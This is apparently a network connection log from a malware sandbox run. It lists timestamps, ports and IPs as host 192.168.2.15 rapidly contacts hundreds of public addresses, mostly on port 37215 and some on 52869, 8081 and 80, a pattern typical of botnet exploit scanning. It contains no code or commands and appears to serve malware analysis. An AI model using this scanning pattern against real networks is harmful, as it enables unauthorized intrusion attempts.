Jul 20, 2024 23:10:39.499337912 CEST	58767	37215	192.168.2.15	67.17.148.249
Jul 20, 2024 23:10:39.499337912 CEST	55870	37215	192.168.2.15	157.104.229.164
Jul 20, 2024 23:10:39.499337912 CEST	60356	37215	192.168.2.15	205.50.160.163
Jul 20, 2024 23:10:39.499337912 CEST	38188	37215	192.168.2.15	197.199.57.112
Jul 20, 2024 23:10:39.499337912 CEST	37364	37215	192.168.2.15	197.14.81.255
Jul 20, 2024 23:10:39.499337912 CEST	51542	37215	192.168.2.15	197.210.73.76
Jul 20, 2024 23:10:39.499519110 CEST	37215	45450	197.238.161.20	192.168.2.15
Jul 20, 2024 23:10:39.499531031 CEST	37215	59080	166.129.166.145	192.168.2.15
Jul 20, 2024 23:10:39.499541998 CEST	37215	60562	149.205.10.158	192.168.2.15
Jul 20, 2024 23:10:39.499551058 CEST	37215	50780	157.16.29.198	192.168.2.15
Jul 20, 2024 23:10:39.499560118 CEST	37215	58767	41.188.100.170	192.168.2.15
Jul 20, 2024 23:10:39.499569893 CEST	37215	55870	157.104.229.164	192.168.2.15
Jul 20, 2024 23:10:39.499578953 CEST	37215	37000	197.115.200.222	192.168.2.15
Jul 20, 2024 23:10:39.499587059 CEST	37215	60356	205.50.160.163	192.168.2.15
Jul 20, 2024 23:10:39.499605894 CEST	37215	58767	157.232.22.113	192.168.2.15
Jul 20, 2024 23:10:39.499710083 CEST	37215	50200	41.162.208.185	192.168.2.15
Jul 20, 2024 23:10:39.499721050 CEST	37215	41310	157.217.24.18	192.168.2.15
Jul 20, 2024 23:10:39.499880075 CEST	39428	37215	192.168.2.15	169.37.171.79
Jul 20, 2024 23:10:39.499880075 CEST	49010	37215	192.168.2.15	157.5.164.72
Jul 20, 2024 23:10:39.499880075 CEST	35092	37215	192.168.2.15	157.149.230.36
Jul 20, 2024 23:10:39.499880075 CEST	39728	37215	192.168.2.15	197.202.153.125
Jul 20, 2024 23:10:39.499880075 CEST	54142	37215	192.168.2.15	197.39.42.138
Jul 20, 2024 23:10:39.499880075 CEST	46082	37215	192.168.2.15	197.146.154.155
Jul 20, 2024 23:10:39.499880075 CEST	50780	37215	192.168.2.15	157.16.29.198
Jul 20, 2024 23:10:39.499880075 CEST	50200	37215	192.168.2.15	41.162.208.185
Jul 20, 2024 23:10:39.499897003 CEST	37215	48038	216.15.194.11	192.168.2.15
Jul 20, 2024 23:10:39.499923944 CEST	37215	54920	14.49.13.245	192.168.2.15
Jul 20, 2024 23:10:39.499933958 CEST	37215	55442	178.230.194.125	192.168.2.15
Jul 20, 2024 23:10:39.499942064 CEST	37215	37834	197.43.242.43	192.168.2.15
Jul 20, 2024 23:10:39.499953032 CEST	37215	37320	157.245.216.156	192.168.2.15
Jul 20, 2024 23:10:39.500046968 CEST	37215	58804	197.162.71.183	192.168.2.15
Jul 20, 2024 23:10:39.500056028 CEST	37215	47380	41.7.140.134	192.168.2.15
Jul 20, 2024 23:10:39.500119925 CEST	37215	43092	221.44.210.72	192.168.2.15
Jul 20, 2024 23:10:39.500245094 CEST	37215	32936	197.52.85.28	192.168.2.15
Jul 20, 2024 23:10:39.500257015 CEST	37215	59122	197.91.175.126	192.168.2.15
Jul 20, 2024 23:10:39.500267029 CEST	37215	49420	197.164.89.253	192.168.2.15
Jul 20, 2024 23:10:39.500302076 CEST	37215	48658	197.140.115.187	192.168.2.15
Jul 20, 2024 23:10:39.500648975 CEST	37215	42676	157.135.74.226	192.168.2.15
Jul 20, 2024 23:10:39.500660896 CEST	37215	47464	78.250.115.189	192.168.2.15
Jul 20, 2024 23:10:39.500670910 CEST	37215	39720	41.48.64.8	192.168.2.15
Jul 20, 2024 23:10:39.500679970 CEST	37215	47204	41.135.100.3	192.168.2.15
Jul 20, 2024 23:10:39.500690937 CEST	37215	34532	157.241.6.192	192.168.2.15
Jul 20, 2024 23:10:39.500699997 CEST	37215	40404	197.55.86.176	192.168.2.15
Jul 20, 2024 23:10:39.500714064 CEST	37215	48076	41.101.127.58	192.168.2.15
Jul 20, 2024 23:10:39.500722885 CEST	37215	52988	157.248.175.173	192.168.2.15
Jul 20, 2024 23:10:39.500849009 CEST	37215	47548	41.1.217.148	192.168.2.15
Jul 20, 2024 23:10:39.500993967 CEST	37215	43782	166.151.137.80	192.168.2.15
Jul 20, 2024 23:10:39.501003027 CEST	37215	54780	41.95.41.120	192.168.2.15
Jul 20, 2024 23:10:39.501013041 CEST	37215	58290	4.49.242.168	192.168.2.15
Jul 20, 2024 23:10:39.501146078 CEST	58767	37215	192.168.2.15	197.131.108.209
Jul 20, 2024 23:10:39.501146078 CEST	58767	37215	192.168.2.15	166.172.110.205
Jul 20, 2024 23:10:39.501146078 CEST	58767	37215	192.168.2.15	121.74.64.224
Jul 20, 2024 23:10:39.501147032 CEST	39416	37215	192.168.2.15	168.198.240.255
Jul 20, 2024 23:10:39.501147032 CEST	45658	37215	192.168.2.15	41.10.96.101
Jul 20, 2024 23:10:39.501147032 CEST	43782	37215	192.168.2.15	166.151.137.80
Jul 20, 2024 23:10:39.501147032 CEST	34532	37215	192.168.2.15	157.241.6.192
Jul 20, 2024 23:10:39.501147032 CEST	47464	37215	192.168.2.15	78.250.115.189
Jul 20, 2024 23:10:39.501645088 CEST	37215	40632	157.219.83.230	192.168.2.15
Jul 20, 2024 23:10:39.501728058 CEST	37215	55852	41.246.170.171	192.168.2.15
Jul 20, 2024 23:10:39.501738071 CEST	37215	45658	41.10.96.101	192.168.2.15
Jul 20, 2024 23:10:39.501749992 CEST	37215	38188	197.199.57.112	192.168.2.15
Jul 20, 2024 23:10:39.502295017 CEST	37215	45038	111.61.149.252	192.168.2.15
Jul 20, 2024 23:10:39.502374887 CEST	37215	37364	197.14.81.255	192.168.2.15
Jul 20, 2024 23:10:39.502679110 CEST	41170	37215	192.168.2.15	57.196.110.109
Jul 20, 2024 23:10:39.502679110 CEST	54592	37215	192.168.2.15	197.79.113.139
Jul 20, 2024 23:10:39.502679110 CEST	39482	37215	192.168.2.15	197.30.229.13
Jul 20, 2024 23:10:39.502679110 CEST	51722	37215	192.168.2.15	157.66.206.67
Jul 20, 2024 23:10:39.502679110 CEST	40464	37215	192.168.2.15	197.182.32.204
Jul 20, 2024 23:10:39.502679110 CEST	35514	37215	192.168.2.15	173.213.209.100
Jul 20, 2024 23:10:39.502679110 CEST	41076	37215	192.168.2.15	197.36.183.119
Jul 20, 2024 23:10:39.502679110 CEST	41390	37215	192.168.2.15	41.127.217.236
Jul 20, 2024 23:10:39.502810955 CEST	37215	50524	157.173.171.152	192.168.2.15
Jul 20, 2024 23:10:39.502968073 CEST	37215	39416	168.198.240.255	192.168.2.15
Jul 20, 2024 23:10:39.503366947 CEST	37215	51542	197.210.73.76	192.168.2.15
Jul 20, 2024 23:10:39.503369093 CEST	55442	37215	192.168.2.15	178.230.194.125
Jul 20, 2024 23:10:39.503369093 CEST	58804	37215	192.168.2.15	197.162.71.183
Jul 20, 2024 23:10:39.503369093 CEST	47380	37215	192.168.2.15	41.7.140.134
Jul 20, 2024 23:10:39.503369093 CEST	49420	37215	192.168.2.15	197.164.89.253
Jul 20, 2024 23:10:39.503369093 CEST	48658	37215	192.168.2.15	197.140.115.187
Jul 20, 2024 23:10:39.503369093 CEST	47548	37215	192.168.2.15	41.1.217.148
Jul 20, 2024 23:10:39.503369093 CEST	58290	37215	192.168.2.15	4.49.242.168
Jul 20, 2024 23:10:39.503369093 CEST	55852	37215	192.168.2.15	41.246.170.171
Jul 20, 2024 23:10:39.503377914 CEST	37215	55246	197.55.78.55	192.168.2.15
Jul 20, 2024 23:10:39.503976107 CEST	37215	36400	197.37.162.85	192.168.2.15
Jul 20, 2024 23:10:39.504390955 CEST	43092	37215	192.168.2.15	221.44.210.72
Jul 20, 2024 23:10:39.504390955 CEST	52988	37215	192.168.2.15	157.248.175.173
Jul 20, 2024 23:10:39.504390955 CEST	45038	37215	192.168.2.15	111.61.149.252
Jul 20, 2024 23:10:39.504390955 CEST	50524	37215	192.168.2.15	157.173.171.152
Jul 20, 2024 23:10:39.504390955 CEST	55246	37215	192.168.2.15	197.55.78.55
Jul 20, 2024 23:10:39.504390955 CEST	39504	37215	192.168.2.15	41.52.21.44
Jul 20, 2024 23:10:39.504390955 CEST	33952	37215	192.168.2.15	184.222.40.221
Jul 20, 2024 23:10:39.504390955 CEST	54880	37215	192.168.2.15	41.160.200.207
Jul 20, 2024 23:10:39.504631042 CEST	37215	39504	41.52.21.44	192.168.2.15
Jul 20, 2024 23:10:39.504642963 CEST	37215	33952	184.222.40.221	192.168.2.15
Jul 20, 2024 23:10:39.504654884 CEST	37215	54880	41.160.200.207	192.168.2.15
Jul 20, 2024 23:10:39.505707026 CEST	49906	37215	192.168.2.15	62.146.200.25
Jul 20, 2024 23:10:39.505707026 CEST	42690	37215	192.168.2.15	197.74.96.150
Jul 20, 2024 23:10:39.505707026 CEST	45002	37215	192.168.2.15	197.105.219.240
Jul 20, 2024 23:10:39.505707026 CEST	37890	37215	192.168.2.15	197.180.228.252
Jul 20, 2024 23:10:39.505707026 CEST	58767	37215	192.168.2.15	157.92.176.196
Jul 20, 2024 23:10:39.505707026 CEST	58767	37215	192.168.2.15	41.232.233.73
Jul 20, 2024 23:10:39.505707026 CEST	58767	37215	192.168.2.15	197.37.174.195
Jul 20, 2024 23:10:39.505707026 CEST	58767	37215	192.168.2.15	35.223.93.106
Jul 20, 2024 23:10:39.505822897 CEST	36400	37215	192.168.2.15	197.37.162.85
Jul 20, 2024 23:10:39.505822897 CEST	58767	37215	192.168.2.15	41.89.205.0
Jul 20, 2024 23:10:39.505822897 CEST	58767	37215	192.168.2.15	131.24.75.178
Jul 20, 2024 23:10:39.505822897 CEST	58767	37215	192.168.2.15	160.231.41.156
Jul 20, 2024 23:10:39.505822897 CEST	58767	37215	192.168.2.15	128.55.37.128
Jul 20, 2024 23:10:39.505822897 CEST	58767	37215	192.168.2.15	197.124.221.252
Jul 20, 2024 23:10:39.505822897 CEST	58767	37215	192.168.2.15	197.206.183.135
Jul 20, 2024 23:10:39.505822897 CEST	58767	37215	192.168.2.15	157.79.33.166
Jul 20, 2024 23:10:39.507384062 CEST	58767	37215	192.168.2.15	82.188.139.177
Jul 20, 2024 23:10:39.507384062 CEST	58767	37215	192.168.2.15	197.206.18.156
Jul 20, 2024 23:10:39.507384062 CEST	58767	37215	192.168.2.15	59.5.0.104
Jul 20, 2024 23:10:39.507384062 CEST	58767	37215	192.168.2.15	197.52.109.95
Jul 20, 2024 23:10:39.507384062 CEST	58767	37215	192.168.2.15	186.119.109.234
Jul 20, 2024 23:10:39.507384062 CEST	58767	37215	192.168.2.15	8.157.200.79
Jul 20, 2024 23:10:39.507384062 CEST	58767	37215	192.168.2.15	157.161.191.131
Jul 20, 2024 23:10:39.507384062 CEST	58767	37215	192.168.2.15	157.248.55.189
Jul 20, 2024 23:10:39.507496119 CEST	58767	37215	192.168.2.15	197.19.102.129
Jul 20, 2024 23:10:39.507496119 CEST	58767	37215	192.168.2.15	197.221.250.156
Jul 20, 2024 23:10:39.507496119 CEST	58767	37215	192.168.2.15	157.176.224.42
Jul 20, 2024 23:10:39.507496119 CEST	58767	37215	192.168.2.15	197.90.90.232
Jul 20, 2024 23:10:39.507497072 CEST	58767	37215	192.168.2.15	197.167.76.100
Jul 20, 2024 23:10:39.507497072 CEST	58767	37215	192.168.2.15	121.81.122.132
Jul 20, 2024 23:10:39.507497072 CEST	58767	37215	192.168.2.15	197.11.212.197
Jul 20, 2024 23:10:39.507497072 CEST	58767	37215	192.168.2.15	142.87.130.72
Jul 20, 2024 23:10:39.507983923 CEST	58767	37215	192.168.2.15	72.141.158.62
Jul 20, 2024 23:10:39.507983923 CEST	58767	37215	192.168.2.15	197.153.137.15
Jul 20, 2024 23:10:39.507983923 CEST	58767	37215	192.168.2.15	222.23.100.102
Jul 20, 2024 23:10:39.507983923 CEST	58767	37215	192.168.2.15	157.61.182.194
Jul 20, 2024 23:10:39.507983923 CEST	58767	37215	192.168.2.15	197.17.154.63
Jul 20, 2024 23:10:39.507983923 CEST	58767	37215	192.168.2.15	41.25.92.30
Jul 20, 2024 23:10:39.507983923 CEST	58767	37215	192.168.2.15	27.41.43.46
Jul 20, 2024 23:10:39.507983923 CEST	58767	37215	192.168.2.15	197.161.122.127
Jul 20, 2024 23:10:39.508503914 CEST	32936	37215	192.168.2.15	197.52.85.28
Jul 20, 2024 23:10:39.508503914 CEST	37320	37215	192.168.2.15	157.245.216.156
Jul 20, 2024 23:10:39.508503914 CEST	41310	37215	192.168.2.15	157.217.24.18
Jul 20, 2024 23:10:39.508503914 CEST	48076	37215	192.168.2.15	41.101.127.58
Jul 20, 2024 23:10:39.508503914 CEST	48038	37215	192.168.2.15	216.15.194.11
Jul 20, 2024 23:10:39.508503914 CEST	58767	37215	192.168.2.15	197.209.239.66
Jul 20, 2024 23:10:39.508503914 CEST	58767	37215	192.168.2.15	41.96.19.111
Jul 20, 2024 23:10:39.508503914 CEST	58767	37215	192.168.2.15	133.158.66.228
Jul 20, 2024 23:10:39.508543968 CEST	37215	48620	41.63.90.165	192.168.2.15
Jul 20, 2024 23:10:39.508974075 CEST	37215	56498	205.121.31.87	192.168.2.15
Jul 20, 2024 23:10:39.509022951 CEST	37215	56706	157.42.101.14	192.168.2.15
Jul 20, 2024 23:10:39.509035110 CEST	37215	41170	57.196.110.109	192.168.2.15
Jul 20, 2024 23:10:39.509046078 CEST	37215	39416	168.198.240.255	192.168.2.15
Jul 20, 2024 23:10:39.509535074 CEST	37215	54592	197.79.113.139	192.168.2.15
Jul 20, 2024 23:10:39.509551048 CEST	37215	39482	197.30.229.13	192.168.2.15
Jul 20, 2024 23:10:39.510199070 CEST	37215	45658	41.10.96.101	192.168.2.15
Jul 20, 2024 23:10:39.510210991 CEST	37215	51722	157.66.206.67	192.168.2.15
Jul 20, 2024 23:10:39.510221958 CEST	37215	40464	197.182.32.204	192.168.2.15
Jul 20, 2024 23:10:39.510773897 CEST	37215	43782	166.151.137.80	192.168.2.15
Jul 20, 2024 23:10:39.510786057 CEST	37215	35514	173.213.209.100	192.168.2.15
Jul 20, 2024 23:10:39.510795116 CEST	37215	34532	157.241.6.192	192.168.2.15
Jul 20, 2024 23:10:39.511132002 CEST	58767	37215	192.168.2.15	157.95.107.89
Jul 20, 2024 23:10:39.511132002 CEST	36400	37215	192.168.2.15	197.37.162.85
Jul 20, 2024 23:10:39.511132002 CEST	60356	37215	192.168.2.15	205.50.160.163
Jul 20, 2024 23:10:39.511132002 CEST	55870	37215	192.168.2.15	157.104.229.164
Jul 20, 2024 23:10:39.511132002 CEST	34876	37215	192.168.2.15	44.121.163.52
Jul 20, 2024 23:10:39.511132002 CEST	55552	37215	192.168.2.15	83.35.196.3
Jul 20, 2024 23:10:39.511132002 CEST	45236	37215	192.168.2.15	41.197.53.118
Jul 20, 2024 23:10:39.511132002 CEST	43916	37215	192.168.2.15	157.204.120.208
Jul 20, 2024 23:10:39.511581898 CEST	55852	37215	192.168.2.15	41.246.170.171
Jul 20, 2024 23:10:39.511581898 CEST	58290	37215	192.168.2.15	4.49.242.168
Jul 20, 2024 23:10:39.511581898 CEST	58804	37215	192.168.2.15	197.162.71.183
Jul 20, 2024 23:10:39.511581898 CEST	55442	37215	192.168.2.15	178.230.194.125
Jul 20, 2024 23:10:39.511581898 CEST	59668	37215	192.168.2.15	197.219.149.250
Jul 20, 2024 23:10:39.511581898 CEST	38156	37215	192.168.2.15	197.251.233.95
Jul 20, 2024 23:10:39.511581898 CEST	59708	37215	192.168.2.15	41.162.253.225
Jul 20, 2024 23:10:39.511581898 CEST	47244	37215	192.168.2.15	157.169.76.138
Jul 20, 2024 23:10:39.511821032 CEST	37215	47464	78.250.115.189	192.168.2.15
Jul 20, 2024 23:10:39.511832952 CEST	37215	41076	197.36.183.119	192.168.2.15
Jul 20, 2024 23:10:39.511842012 CEST	37215	41390	41.127.217.236	192.168.2.15
Jul 20, 2024 23:10:39.511868000 CEST	37215	49906	62.146.200.25	192.168.2.15
Jul 20, 2024 23:10:39.511882067 CEST	37215	42690	197.74.96.150	192.168.2.15
Jul 20, 2024 23:10:39.512737036 CEST	58767	37215	192.168.2.15	197.19.4.143
Jul 20, 2024 23:10:39.512737036 CEST	58767	37215	192.168.2.15	132.37.113.211
Jul 20, 2024 23:10:39.512737036 CEST	58767	37215	192.168.2.15	41.87.238.87
Jul 20, 2024 23:10:39.512737036 CEST	58767	37215	192.168.2.15	157.243.140.213
Jul 20, 2024 23:10:39.512737036 CEST	58767	37215	192.168.2.15	157.27.173.15
Jul 20, 2024 23:10:39.512737036 CEST	58767	37215	192.168.2.15	41.216.123.171
Jul 20, 2024 23:10:39.512737036 CEST	58767	37215	192.168.2.15	20.164.12.147
Jul 20, 2024 23:10:39.512737036 CEST	58767	37215	192.168.2.15	102.139.225.203
Jul 20, 2024 23:10:39.513458967 CEST	58767	37215	192.168.2.15	19.10.135.66
Jul 20, 2024 23:10:39.513590097 CEST	58767	37215	192.168.2.15	41.225.122.65
Jul 20, 2024 23:10:39.513590097 CEST	58767	37215	192.168.2.15	41.176.34.64
Jul 20, 2024 23:10:39.513590097 CEST	33952	37215	192.168.2.15	184.222.40.221
Jul 20, 2024 23:10:39.513590097 CEST	39504	37215	192.168.2.15	41.52.21.44
Jul 20, 2024 23:10:39.513590097 CEST	55246	37215	192.168.2.15	197.55.78.55
Jul 20, 2024 23:10:39.513590097 CEST	50524	37215	192.168.2.15	157.173.171.152
Jul 20, 2024 23:10:39.513590097 CEST	45038	37215	192.168.2.15	111.61.149.252
Jul 20, 2024 23:10:39.513590097 CEST	43092	37215	192.168.2.15	221.44.210.72
Jul 20, 2024 23:10:39.514348030 CEST	37215	45002	197.105.219.240	192.168.2.15
Jul 20, 2024 23:10:39.514359951 CEST	37215	37890	197.180.228.252	192.168.2.15
Jul 20, 2024 23:10:39.514372110 CEST	37215	32936	197.52.85.28	192.168.2.15
Jul 20, 2024 23:10:39.514384985 CEST	37215	37320	157.245.216.156	192.168.2.15
Jul 20, 2024 23:10:39.514944077 CEST	37215	41310	157.217.24.18	192.168.2.15
Jul 20, 2024 23:10:39.515132904 CEST	37215	48076	41.101.127.58	192.168.2.15
Jul 20, 2024 23:10:39.515429974 CEST	33022	37215	192.168.2.15	41.133.211.18
Jul 20, 2024 23:10:39.515429974 CEST	43226	37215	192.168.2.15	197.169.40.175
Jul 20, 2024 23:10:39.515429974 CEST	58767	37215	192.168.2.15	41.62.71.102
Jul 20, 2024 23:10:39.515429974 CEST	47548	37215	192.168.2.15	41.1.217.148
Jul 20, 2024 23:10:39.515429974 CEST	52820	37215	192.168.2.15	197.1.29.38
Jul 20, 2024 23:10:39.515429974 CEST	54602	37215	192.168.2.15	182.92.42.223
Jul 20, 2024 23:10:39.515429974 CEST	48814	37215	192.168.2.15	157.176.38.133
Jul 20, 2024 23:10:39.515429974 CEST	48196	37215	192.168.2.15	20.255.176.224
Jul 20, 2024 23:10:39.515588999 CEST	58767	37215	192.168.2.15	49.147.147.136
Jul 20, 2024 23:10:39.515588999 CEST	58767	37215	192.168.2.15	197.216.64.37
Jul 20, 2024 23:10:39.515588999 CEST	58767	37215	192.168.2.15	51.144.240.244
Jul 20, 2024 23:10:39.515588999 CEST	58767	37215	192.168.2.15	197.160.80.44
Jul 20, 2024 23:10:39.515588999 CEST	58767	37215	192.168.2.15	197.140.136.42
Jul 20, 2024 23:10:39.515588999 CEST	58767	37215	192.168.2.15	197.30.197.236
Jul 20, 2024 23:10:39.515588999 CEST	58767	37215	192.168.2.15	157.10.16.251
Jul 20, 2024 23:10:39.515588999 CEST	58767	37215	192.168.2.15	157.229.5.108
Jul 20, 2024 23:10:39.515714884 CEST	37215	48038	216.15.194.11	192.168.2.15
Jul 20, 2024 23:10:39.515932083 CEST	60906	52869	192.168.2.15	162.144.96.77
Jul 20, 2024 23:10:39.516422987 CEST	60906	52869	192.168.2.15	162.144.96.77
Jul 20, 2024 23:10:39.517307997 CEST	37215	55852	41.246.170.171	192.168.2.15
Jul 20, 2024 23:10:39.517318964 CEST	37215	58290	4.49.242.168	192.168.2.15
Jul 20, 2024 23:10:39.518032074 CEST	37790	37215	192.168.2.15	157.35.130.251
Jul 20, 2024 23:10:39.518032074 CEST	58767	37215	192.168.2.15	223.105.153.234
Jul 20, 2024 23:10:39.518032074 CEST	58767	37215	192.168.2.15	41.129.79.238
Jul 20, 2024 23:10:39.518032074 CEST	51542	37215	192.168.2.15	197.210.73.76
Jul 20, 2024 23:10:39.518032074 CEST	37364	37215	192.168.2.15	197.14.81.255
Jul 20, 2024 23:10:39.518032074 CEST	38188	37215	192.168.2.15	197.199.57.112
Jul 20, 2024 23:10:39.518032074 CEST	42418	37215	192.168.2.15	216.125.26.34
Jul 20, 2024 23:10:39.518032074 CEST	58767	37215	192.168.2.15	197.49.29.208
Jul 20, 2024 23:10:39.518060923 CEST	37215	58804	197.162.71.183	192.168.2.15
Jul 20, 2024 23:10:39.518151999 CEST	37215	55442	178.230.194.125	192.168.2.15
Jul 20, 2024 23:10:39.518157005 CEST	59710	37215	192.168.2.15	157.36.31.158
Jul 20, 2024 23:10:39.518162012 CEST	37215	59668	197.219.149.250	192.168.2.15
Jul 20, 2024 23:10:39.518467903 CEST	37215	36400	197.37.162.85	192.168.2.15
Jul 20, 2024 23:10:39.518774986 CEST	37215	38156	197.251.233.95	192.168.2.15
Jul 20, 2024 23:10:39.518815041 CEST	59512	80	192.168.2.15	88.3.38.182
Jul 20, 2024 23:10:39.519090891 CEST	37215	59708	41.162.253.225	192.168.2.15
Jul 20, 2024 23:10:39.519184113 CEST	37215	60356	205.50.160.163	192.168.2.15
Jul 20, 2024 23:10:39.519411087 CEST	53874	8081	192.168.2.15	51.24.196.130
Jul 20, 2024 23:10:39.519411087 CEST	53874	8081	192.168.2.15	51.24.196.130
Jul 20, 2024 23:10:39.519690037 CEST	58767	37215	192.168.2.15	41.245.28.75
Jul 20, 2024 23:10:39.519690037 CEST	58767	37215	192.168.2.15	197.33.132.251
Jul 20, 2024 23:10:39.519690037 CEST	58767	37215	192.168.2.15	197.103.230.1
Jul 20, 2024 23:10:39.519690037 CEST	58767	37215	192.168.2.15	41.1.21.34
Jul 20, 2024 23:10:39.519690990 CEST	58767	37215	192.168.2.15	41.99.120.124
Jul 20, 2024 23:10:39.519690990 CEST	58767	37215	192.168.2.15	36.91.94.34
Jul 20, 2024 23:10:39.519690990 CEST	58767	37215	192.168.2.15	41.23.82.202
Jul 20, 2024 23:10:39.519690990 CEST	58767	37215	192.168.2.15	45.91.18.174
Jul 20, 2024 23:10:39.519778967 CEST	55066	37215	192.168.2.15	34.108.209.169
Jul 20, 2024 23:10:39.519778967 CEST	41832	37215	192.168.2.15	41.130.29.61
Jul 20, 2024 23:10:39.519778967 CEST	58767	37215	192.168.2.15	41.200.62.206
Jul 20, 2024 23:10:39.519778967 CEST	58767	37215	192.168.2.15	122.246.155.127
Jul 20, 2024 23:10:39.519778967 CEST	48658	37215	192.168.2.15	197.140.115.187
Jul 20, 2024 23:10:39.519778967 CEST	49420	37215	192.168.2.15	197.164.89.253
Jul 20, 2024 23:10:39.519778967 CEST	47380	37215	192.168.2.15	41.7.140.134
Jul 20, 2024 23:10:39.519778967 CEST	58767	37215	192.168.2.15	157.107.45.191
Jul 20, 2024 23:10:39.519908905 CEST	37215	55870	157.104.229.164	192.168.2.15
Jul 20, 2024 23:10:39.520123005 CEST	37215	34876	44.121.163.52	192.168.2.15
Jul 20, 2024 23:10:39.520212889 CEST	37215	47244	157.169.76.138	192.168.2.15
Jul 20, 2024 23:10:39.520560026 CEST	37215	33022	41.133.211.18	192.168.2.15
Jul 20, 2024 23:10:39.520730972 CEST	37215	43226	197.169.40.175	192.168.2.15
Jul 20, 2024 23:10:39.520932913 CEST	50200	37215	192.168.2.15	41.162.208.185
Jul 20, 2024 23:10:39.520932913 CEST	54142	37215	192.168.2.15	197.39.42.138
Jul 20, 2024 23:10:39.520932913 CEST	39728	37215	192.168.2.15	197.202.153.125
Jul 20, 2024 23:10:39.520932913 CEST	35092	37215	192.168.2.15	157.149.230.36
Jul 20, 2024 23:10:39.520932913 CEST	49010	37215	192.168.2.15	157.5.164.72
Jul 20, 2024 23:10:39.520932913 CEST	39428	37215	192.168.2.15	169.37.171.79
Jul 20, 2024 23:10:39.520932913 CEST	41756	37215	192.168.2.15	157.17.105.247
Jul 20, 2024 23:10:39.520932913 CEST	43258	37215	192.168.2.15	163.110.119.229
Jul 20, 2024 23:10:39.521318913 CEST	52869	60906	162.144.96.77	192.168.2.15
Jul 20, 2024 23:10:39.521867037 CEST	37215	33952	184.222.40.221	192.168.2.15
Jul 20, 2024 23:10:39.522115946 CEST	37215	39504	41.52.21.44	192.168.2.15
Jul 20, 2024 23:10:39.522232056 CEST	37215	55552	83.35.196.3	192.168.2.15
Jul 20, 2024 23:10:39.522691011 CEST	37215	47548	41.1.217.148	192.168.2.15
Jul 20, 2024 23:10:39.522792101 CEST	37215	45236	41.197.53.118	192.168.2.15
Jul 20, 2024 23:10:39.522803068 CEST	37215	52820	197.1.29.38	192.168.2.15
Jul 20, 2024 23:10:39.522854090 CEST	37215	43916	157.204.120.208	192.168.2.15
Jul 20, 2024 23:10:39.523186922 CEST	58767	37215	192.168.2.15	197.210.47.198
Jul 20, 2024 23:10:39.523186922 CEST	58767	37215	192.168.2.15	41.107.255.52
Jul 20, 2024 23:10:39.523186922 CEST	58767	37215	192.168.2.15	157.141.178.16
Jul 20, 2024 23:10:39.523186922 CEST	58767	37215	192.168.2.15	41.170.220.51
Jul 20, 2024 23:10:39.523186922 CEST	58767	37215	192.168.2.15	197.243.213.70
Jul 20, 2024 23:10:39.523186922 CEST	58767	37215	192.168.2.15	197.236.138.213
Jul 20, 2024 23:10:39.523186922 CEST	58767	37215	192.168.2.15	63.65.59.81
Jul 20, 2024 23:10:39.523186922 CEST	58767	37215	192.168.2.15	157.41.34.117
Jul 20, 2024 23:10:39.523363113 CEST	37215	55246	197.55.78.55	192.168.2.15
Jul 20, 2024 23:10:39.523377895 CEST	37215	54602	182.92.42.223	192.168.2.15
Jul 20, 2024 23:10:39.523570061 CEST	37215	59710	157.36.31.158	192.168.2.15
Jul 20, 2024 23:10:39.523611069 CEST	59710	37215	192.168.2.15	157.36.31.158
Jul 20, 2024 23:10:39.523736954 CEST	58767	37215	192.168.2.15	197.213.155.40
Jul 20, 2024 23:10:39.523736954 CEST	54880	37215	192.168.2.15	41.160.200.207
Jul 20, 2024 23:10:39.523736954 CEST	52988	37215	192.168.2.15	157.248.175.173
Jul 20, 2024 23:10:39.523736954 CEST	50780	37215	192.168.2.15	157.16.29.198
Jul 20, 2024 23:10:39.523736954 CEST	46082	37215	192.168.2.15	197.146.154.155
Jul 20, 2024 23:10:39.523736954 CEST	38488	37215	192.168.2.15	41.135.228.141
Jul 20, 2024 23:10:39.523736954 CEST	45784	37215	192.168.2.15	157.238.194.50
Jul 20, 2024 23:10:39.523736954 CEST	43856	37215	192.168.2.15	41.109.172.235
Jul 20, 2024 23:10:39.523974895 CEST	58774	80	192.168.2.15	95.229.99.45
Jul 20, 2024 23:10:39.524022102 CEST	58774	80	192.168.2.15	95.128.24.154
Jul 20, 2024 23:10:39.524022102 CEST	58774	80	192.168.2.15	95.186.31.81
Jul 20, 2024 23:10:39.524075031 CEST	37215	48814	157.176.38.133	192.168.2.15
Jul 20, 2024 23:10:39.524127960 CEST	58774	80	192.168.2.15	95.59.6.223
Jul 20, 2024 23:10:39.524231911 CEST	80	59512	88.3.38.182	192.168.2.15
Jul 20, 2024 23:10:39.524303913 CEST	58774	80	192.168.2.15	95.238.59.231
Jul 20, 2024 23:10:39.524497986 CEST	58774	80	192.168.2.15	95.173.62.253
Jul 20, 2024 23:10:39.524497986 CEST	58774	80	192.168.2.15	95.46.189.63
Jul 20, 2024 23:10:39.524578094 CEST	37215	48196	20.255.176.224	192.168.2.15
Jul 20, 2024 23:10:39.524589062 CEST	37215	37790	157.35.130.251	192.168.2.15
Jul 20, 2024 23:10:39.524671078 CEST	59512	80	192.168.2.15	88.3.38.182
Jul 20, 2024 23:10:39.524671078 CEST	58774	80	192.168.2.15	95.164.57.246
Jul 20, 2024 23:10:39.524671078 CEST	58774	80	192.168.2.15	95.95.101.132
Jul 20, 2024 23:10:39.524785042 CEST	37215	50524	157.173.171.152	192.168.2.15
Jul 20, 2024 23:10:39.524838924 CEST	8081	53874	51.24.196.130	192.168.2.15
Jul 20, 2024 23:10:39.525403976 CEST	37215	45038	111.61.149.252	192.168.2.15
Jul 20, 2024 23:10:39.525413990 CEST	58774	80	192.168.2.15	95.228.192.1
Jul 20, 2024 23:10:39.525413990 CEST	58774	80	192.168.2.15	95.165.233.32
Jul 20, 2024 23:10:39.525413990 CEST	58774	80	192.168.2.15	95.12.38.231
Jul 20, 2024 23:10:39.525413990 CEST	58774	80	192.168.2.15	95.218.189.209
Jul 20, 2024 23:10:39.525413990 CEST	58774	80	192.168.2.15	95.103.91.154
Jul 20, 2024 23:10:39.525414944 CEST	58774	80	192.168.2.15	95.17.250.77
Jul 20, 2024 23:10:39.525414944 CEST	58774	80	192.168.2.15	95.223.56.48
Jul 20, 2024 23:10:39.525414944 CEST	58774	80	192.168.2.15	95.169.115.0
Jul 20, 2024 23:10:39.525798082 CEST	37215	43092	221.44.210.72	192.168.2.15
Jul 20, 2024 23:10:39.525995970 CEST	37215	50200	41.162.208.185	192.168.2.15
Jul 20, 2024 23:10:39.526159048 CEST	37215	55066	34.108.209.169	192.168.2.15
Jul 20, 2024 23:10:39.526376963 CEST	37215	51542	197.210.73.76	192.168.2.15
